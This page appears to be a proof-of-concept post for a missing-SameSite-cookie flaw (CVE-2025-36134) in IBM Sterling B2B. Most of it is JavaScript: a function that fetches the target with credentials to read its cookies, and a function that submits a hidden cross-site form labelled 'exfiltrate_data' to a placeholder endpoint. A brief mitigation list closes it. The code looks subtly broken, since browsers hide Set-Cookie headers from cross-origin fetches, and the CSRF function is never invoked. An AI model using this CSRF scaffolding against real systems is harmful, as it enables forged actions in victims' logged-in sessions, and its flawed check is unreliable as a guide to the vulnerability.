CVE-2025-36134 IBM Sterling B2B SameSite Cookie配置缺失漏洞

// CVE-2025-36134 SameSite Cookie Missing PoC // This PoC demonstrates how an attacker could exploit the missing SameSite attribute const targetUrl = 'https://vulnerable-ibm-sterling-instance.com'; const attackerDomain = 'https://attacker-controlled-site.com'; // Check if SameSite attribute is missing or insecure async function checkCookieSecurity() { const response = await fetch(targetUrl, { credentials: 'include', mode: 'cors' }); const cookies = response.headers.getSetCookie(); console.log('Cookies received from target:'); cookies.forEach(cookie => { console.log(cookie); // Check if SameSite attribute is present if (!cookie.toLowerCase().includes('samesite')) { console.log('[VULNERABLE] SameSite attribute is missing!'); } else if (cookie.toLowerCase().includes('samesite=none')) { console.log('[WARNING] SameSite=None requires Secure attribute'); } }); } // Simulate CSRF attack via cross-site request function exploitMissingSameSite() { // Create an invisible form for CSRF attack const form = document.createElement('form'); form.action = targetUrl + '/api/sensitive-endpoint'; form.method = 'POST'; form.target = '_blank'; form.style.display = 'none'; const input = document.createElement('input'); input.type = 'hidden'; input.name = 'action'; input.value = 'exfiltrate_data'; form.appendChild(input); document.body.appendChild(form); form.submit(); console.log('[ATTACK] CSRF request sent via cross-site form submission'); } // Execute PoC checkCookieSecurity(); // Note: This PoC requires the victim to be logged into the target application // and visit the attacker's page while authenticated. /* Mitigation: 1. Set SameSite=Strict or SameSite=Lax for all sensitive cookies 2. If SameSite=None is required, ensure Secure attribute is also set 3. Implement CSRF tokens as additional protection 4. Apply security headers (Content-Security-Policy, X-Frame-Options) */